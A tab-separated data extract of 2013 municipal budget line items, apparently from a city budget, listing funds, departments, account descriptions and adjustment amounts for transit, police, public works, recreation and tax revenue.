3347	B1	IS	20	Miscellaneous Grants Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	561118.0	STEP UP ON 2ND SNCTURY-PROP A	808.0	 Supplies and Expenses	2013	2600.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2600.0
3348	B1	IS	20	Miscellaneous Grants Fund	210	PLANNING & COMM. DEVELOPMENT	267	ALL OTHER TRANSACTIONS	408560.0	BIKESHARE METRO CFP GRANT	610.0	Intergovernmental	2013	-1543000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-1543000.0
3349	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2013	29689.0	0	0.0	0.0	0	0	0.0	297	0.0	0	0	0.0	29986.0
3350	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2013	1700.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1700.0
3351	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	511749.0	VISION	808.0	Salaries and Wages	2013	1369.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1369.0
3352	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	511774.0	RETIREMENT - AS NEEDED	808.0	Salaries and Wages	2013	14841.0	0	0.0	0.0	0	0	0.0	148	0.0	0	0	0.0	14989.0
3353	B1	IS	1	General Fund	300	POLICE	302	ANIMAL CONTROL UNIT		EMPLOYEE HEALTH CONTRIB-POA	806.0	Salaries and Wages	2013	-896.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-896.0
3354	B1	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION		EMPLOYEE HEALTH CONTRIB-POA	806.0	Salaries and Wages	2013	-77828.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-77828.0
3355	B1	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	566870.0	HORSE PATROL	806.0	 Supplies and Expenses	2013	16015.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	16015.0
3356	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	408340.0	URBAN RUNOFF MIT. INSP. ONSITE	612.0	Charges for Service	2013	-4000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-4000.0
3357	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2013	53046.0	0	0.0	0.0	0	0	0.0	6977	0.0	0	0	0.0	60023.0
3358	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	567230.0	PFA 2011B (PSF)	910.0	 Supplies and Expenses	2013	1064950.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1064950.0
3359	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	522990.0	STOCKROOM REPAIR PARTS & MATER	808.0	 Supplies and Expenses	2013	600000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	600000.0
3360	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		BLDG/STR MAINT-CITY HALL	808.0	 Supplies and Expenses	2013	50000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	50000.0
3361	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		BLDG/STR MAINT-CITY YARDS	808.0	 Supplies and Expenses	2013	40000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	40000.0
3362	B1	IS	20	Miscellaneous Grants Fund	310	FIRE	312	FIRE - ADMINISTRATION	555397.0	11 UASI GRANT	806.0	 Supplies and Expenses	2013	363392.0	0	0.0	-36634.0	0	0	0.0	0	0.0	0	0	0.0	326758.0
3363	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562601.0	PICO YOUTH & FAMILY CENTER		 Supplies and Expenses	2013	225000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	225000.0
3364	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	544010.0	SPEC DEPT SUPPLIES	808.0	 Supplies and Expenses	2013	89999.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	89999.0
3365	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	544090.0	MEDICAL/FIRST AID SUPPLIES	808.0	 Supplies and Expenses	2013	3200.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3200.0
3366	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	555210.0	TRAINING	808.0	 Supplies and Expenses	2013	6000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6000.0
3367	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	544290.0	OTHER MATERIALS AND SUPPLIES	808.0	 Supplies and Expenses	2013	4700.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4700.0
3368	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522119.0	UTIL-ELEC-COM FAC, SC, KEC	808.0	 Supplies and Expenses	2013	180000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	180000.0
3369	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522119.0	UTIL-ELEC-COM FAC, SC, KEC	808.0	 Supplies and Expenses	2013	92350.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	92350.0
3370	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	523000.0	VEHICLE MGMT FUND-MAINTENANCE	808.0	 Supplies and Expenses	2013	196000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	196000.0
3371	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	533215.0	BLDG/CUSTODIAL SUPPLIES-PSF	808.0	 Supplies and Expenses	2013	81000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	81000.0
3372	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	533225.0	BLDG/STR MAINT-PSF	808.0	 Supplies and Expenses	2013	200000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	200000.0
3373	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	533226.0	BLDG/STR MAINT-LIBRARY	808.0	 Supplies and Expenses	2013	175000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	175000.0
3374	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	566100.0	STREET LIGHT / POLE REPAIR	808.0	 Supplies and Expenses	2013	11000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	11000.0
3375	B1	IS	20	Miscellaneous Grants Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	406852.0	OTS STEP GRANT 2012	610.0	Intergovernmental	2013	0.0	0	0.0	-72796.0	0	0	0.0	0	0.0	0	0	0.0	-72796.0
3376	B1	IS	20	Miscellaneous Grants Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	406853.0	OTS SOBRIETY CHECKPOINT 2012	610.0	Intergovernmental	2013	0.0	0	0.0	-37323.0	0	0	0.0	0	0.0	0	0	0.0	-37323.0
3377	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511920.0	UNIFORM / TOOL ALLOWANCE	816.0	Salaries and Wages	2013	350.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	350.0
3378	B1	IS	4	Special Revenue Source Fund	300	POLICE	302	ANIMAL CONTROL UNIT	544010.0	SPECIAL DEPARTMENT SUPPLIES	806.0	 Supplies and Expenses	2013	21456.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	21456.0
3379	B1	IS	20	Miscellaneous Grants Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	406795.0	09 UASI GRANT	610.0	Intergovernmental	2013	0.0	0	0.0	0.0	0	0	0.0	0	-50000.0	0	0	0.0	-50000.0
3380	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	804.0	 Supplies and Expenses	2013	0.0	0	38500.0	0.0	0	0	0.0	-38000	0.0	0	0	0.0	500.0
3381	B1	IS	25	Water Fund	500	PUBLIC WORKS	672	CHARNOCK TREATMENT PLANT	522110.0	UTIL - LIGHT / POWER	808.0	 Supplies and Expenses	2013	535500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	535500.0
3382	B1	IS	25	Water Fund	500	PUBLIC WORKS	672	CHARNOCK TREATMENT PLANT	544011.0	CHEMICALS	808.0	 Supplies and Expenses	2013	140239.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	140239.0
3383	B1	IS	25	Water Fund	500	PUBLIC WORKS	673	ARCADIA TREATMENT PLANT	544010.0	SPEC DEPT SUPPLIES	808.0	 Supplies and Expenses	2013	120000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	120000.0
3384	B1	IS	25	Water Fund	500	PUBLIC WORKS	673	ARCADIA TREATMENT PLANT	544011.0	CHEMICALS	808.0	 Supplies and Expenses	2013	787284.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	787284.0
3385	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	544199.0	OTHER MATERIALS AND SUPPLIES		 Supplies and Expenses	2013	244496.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	244496.0
3386	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	560070.0	INDUSTRIAL SAFETY SHOES		 Supplies and Expenses	2013	600.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	600.0
3387	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	404710.0	415 PCH - DAY USE	612.0	Charges for Service	2013	-136940.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-136940.0
3388	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	404710.0	415 PCH - DAY USE	612.0	Charges for Service	2013	-51900.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-51900.0
3389	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2013	514905.0	0	0.0	0.0	0	0	0.0	5149	0.0	0	0	0.0	520054.0
3390	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS		EAP	804.0	Salaries and Wages	2013	626.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	626.0
3391	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	522825.0	FOOD PURCHASES	810.0	 Supplies and Expenses	2013	1500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1500.0
3392	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	544110.0	PRINTED FORMS	810.0	 Supplies and Expenses	2013	5000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5000.0
3393	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	545010.0	AQUATIC SUPPLIES	810.0	 Supplies and Expenses	2013	1000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1000.0
3394	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	545030.0	CULTURAL SUPPLIES	810.0	 Supplies and Expenses	2013	25000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	25000.0
3395	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	511749.0	VISION	808.0	Salaries and Wages	2013	1027.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1027.0
3396	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	533020.0	GENERAL LIABILITY / AUTO	810.0	 Supplies and Expenses	2013	3802.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3802.0
3397	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511749.0	VISION	808.0	Salaries and Wages	2013	411.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	411.0
3398	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522950.0	CNG FUEL	808.0	 Supplies and Expenses	2013	9690.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	9690.0
3399	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	533120.0	SPECIAL EQUIP MAINT	808.0	 Supplies and Expenses	2013	18129.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	18129.0
3400	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	555010.0	CONTRACTUAL SERVICES	808.0	 Supplies and Expenses	2013	1116356.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1116356.0
3401	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2013	2437.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2437.0
3402	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522950.0	CNG FUEL	808.0	 Supplies and Expenses	2013	16728.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	16728.0
3403	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	569300.0	BIKE VALET-PICO LIBRARY	816.0	 Supplies and Expenses	2013	9334.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	9334.0
3404	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522160.0	TRANSFER STATION FEE	810.0	 Supplies and Expenses	2013	1101.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1101.0
3405	B1	IS	6	Clean Bchs & Ocean Prcl Tx Fd	500	PUBLIC WORKS	402	ENGINEERING	544340.0	INDIRECT COST ALLOCATION	808.0	 Supplies and Expenses	2013	128145.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	128145.0
3406	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	533720.0	RADIO EQUIP & MAINT	806.0	 Supplies and Expenses	2013	30000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	30000.0
3407	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	511050.0	CAPITAL PROJECT STAFFING	808.0	Salaries and Wages	2013	-157500.0	0	0.0	0.0	0	0	0.0	-1575	0.0	0	0	0.0	-159075.0
3408	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400020.0	PROPERTY TAXES - UNSECURED	602.0	Property Taxes	2013	-950000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-950000.0
3409	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400150.0	DOCUMENTARY TRANSFER TAX	606.0	Other Local Taxes	2013	-4800000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-4800000.0
3410	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400843.0	VLF SWAP	602.0	Property Taxes	2013	-8200238.0	0	0.0	0.0	0	0	0.0	-318456	0.0	0	0	0.0	-8518694.0
3411	B1	IS	4	Special Revenue Source Fund	130	FINANCE	221	ADMINISTRATION	406000.0	ESTIMATED FEE INCREASES	612.0	Charges for Service	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
3412	B1	IS	4	Special Revenue Source Fund	130	FINANCE	221	ADMINISTRATION	407814.0	LANTANA-CHILDCARE	622.0	Other	2013	-80000.0	0	0.0	0.0	0	0	0.0	80000	0.0	0	0	0.0	0.0
3413	B1	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	401210.0	DAMAGE TO CITY PROPERTY	622.0	Other	2013	-50000.0	0	0.0	0.0	0	0	0.0	50000	0.0	0	0	0.0	0.0
3414	B1	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	401090.0	INDIRECT COSTS	612.0	Charges for Service	2013	-10831405.0	0	0.0	0.0	0	0	0.0	10831405	0.0	0	0	0.0	0.0
3415	B1	IS	20	Miscellaneous Grants Fund	310	FIRE	312	FIRE - ADMINISTRATION	406799.0	13 UASI GRANT	610.0	Intergovernmental	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	-752076	0.0	-752076.0
3416	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	410140.0	TRANSPORTATION ENG SVCS	612.0	Charges for Service	2013	-25547.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-25547.0
3417	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	410170.0	SIGN REMOVAL	612.0	Charges for Service	2013	-5880.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-5880.0
3418	B1	IS	12	Housing Authority Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	578020.0	HOME PROGRAM ADMIN	908.0	 Supplies and Expenses	2013	0.0	0	0.0	0.0	0	0	0.0	-50204	0.0	0	0	0.0	-50204.0
3419	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2013	-24960.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-24960.0
3420	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		DCAP	808.0	Salaries and Wages	2013	3096.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3096.0
3421	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522900.0	MEMBERSHIPS AND DUES	808.0	 Supplies and Expenses	2013	900.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	900.0
3422	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	523000.0	VEHICLE MGMT FUND-MAINTENANCE	808.0	 Supplies and Expenses	2013	161000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	161000.0
3423	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	407490.0	PLAN CHECK FEES-LANDSCAPE&FORE	612.0	Charges for Service	2013	-123600.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-123600.0
3424	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2013	204908.0	0	0.0	0.0	0	0	0.0	2049	0.0	0	0	0.0	206957.0
3425	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2013	38571.0	0	0.0	0.0	0	0	0.0	386	0.0	0	0	0.0	38957.0
3426	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		UNEMPLOYMENT	808.0	Salaries and Wages	2013	999.0	0	0.0	0.0	0	0	0.0	10	0.0	0	0	0.0	1009.0
3427	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		DCAP	808.0	Salaries and Wages	2013	216.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	216.0
3428	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	523000.0	VEHICLE MGMT FUND-MAINTENANCE	808.0	 Supplies and Expenses	2013	165000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	165000.0
3429	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	544010.0	SPECIAL DEPARTMENT SUPPLIES	808.0	 Supplies and Expenses	2013	77860.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	77860.0
3430	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	544170.0	UNIFORM / PROTECTIVE CLOTHING	808.0	 Supplies and Expenses	2013	8600.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	8600.0
3431	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	566650.0	MALL MAINTENANCE	808.0	 Supplies and Expenses	2013	147000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	147000.0
3432	B1	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	400470.0	POLICE PERMITS	608.0	Licenses and Permits	2013	-110338.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-110338.0
3433	B1	IS	20	Miscellaneous Grants Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577703.0	PROP A REIMBURSEMENT ADMIN	910.0	 Supplies and Expenses	2013	50000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	50000.0
3434	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	533020.0	GENERAL LIABILITY / AUTO	810.0	 Supplies and Expenses	2013	5249.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5249.0
3435	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	406000.0	ESTIMATED FEE INCREASES	650.0	Charges for Service	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
3436	B1	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	511050.0	CAPITAL PROJECT STAFFING	808.0	Salaries and Wages	2013	-157500.0	0	0.0	0.0	0	0	0.0	-1575	0.0	0	0	0.0	-159075.0
3437	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400480.0	SALES TAX IN-LIEU	604.0	Sales Tax	2013	-8500116.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-8500116.0
3438	B1	IS	20	Miscellaneous Grants Fund	130	FINANCE	221	ADMINISTRATION	402920.0	PROP A LOCAL RETURN	610.0	Intergovernmental	2013	-1151756.0	0	0.0	0.0	0	0	0.0	1151756	0.0	0	0	0.0	0.0
3439	B1	IS	44	SCAQMD AB 2766 Fund	130	FINANCE	221	ADMINISTRATION	400750.0	INT DEP / INVESTMENT	616.0	Investment Income	2013	-4000.0	0	0.0	0.0	0	0	0.0	4000	0.0	0	0	0.0	0.0
3440	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	579001.0	DISCRET-SECTION 8 ASST	804.0	 Supplies and Expenses	2013	100000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	100000.0
3441	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2013	3476.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3476.0
3442	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511749.0	VISION	810.0	Salaries and Wages	2013	274.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	274.0
3443	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		UNEMPLOYMENT	810.0	Salaries and Wages	2013	1580.0	0	0.0	0.0	0	0	0.0	16	0.0	0	0	0.0	1596.0
3444	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EAP	810.0	Salaries and Wages	2013	209.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	209.0
3445	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544110.0	PRINTED FORMS	810.0	 Supplies and Expenses	2013	100.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	100.0
3446	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2013	56262.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	56262.0
3447	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511748.0	DENTAL	810.0	Salaries and Wages	2013	3365.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3365.0
3448	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		WELLNESS	810.0	Salaries and Wages	2013	710.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	710.0
3449	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2013	597.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	597.0
3450	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544170.0	UNIFORM / PROTECTIVE CLOTHING	810.0	 Supplies and Expenses	2013	650.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	650.0
3451	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2013	199206.0	0	0.0	0.0	0	0	0.0	1992	0.0	0	0	0.0	201198.0
3452	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544200.0	SPORTS SUPPLIES	810.0	 Supplies and Expenses	2013	177925.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	177925.0
3453	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2013	80872.0	0	0.0	0.0	0	0	0.0	809	0.0	0	0	0.0	81681.0
3454	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2013	970.0	0	0.0	0.0	0	0	0.0	10	0.0	0	0	0.0	980.0
3455	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511748.0	DENTAL	810.0	Salaries and Wages	2013	1122.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1122.0
3456	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		UNEMPLOYMENT	810.0	Salaries and Wages	2013	873.0	0	0.0	0.0	0	0	0.0	9	0.0	0	0	0.0	882.0
3457	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2013	36091.0	0	0.0	0.0	0	0	0.0	361	0.0	0	0	0.0	36452.0
3458	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2013	20093.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	20093.0
3459	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2013	13919.0	0	0.0	0.0	0	0	0.0	139	0.0	0	0	0.0	14058.0
3460	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	400850.0	SWIM CENTER-SMC	612.0	Charges for Service	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
3461	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401001.0	SWIM CENTER-GROUP LESSONS	612.0	Charges for Service	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
3462	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401006.0	SWIM CENTER-SPECIAL CLASSES	612.0	Charges for Service	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
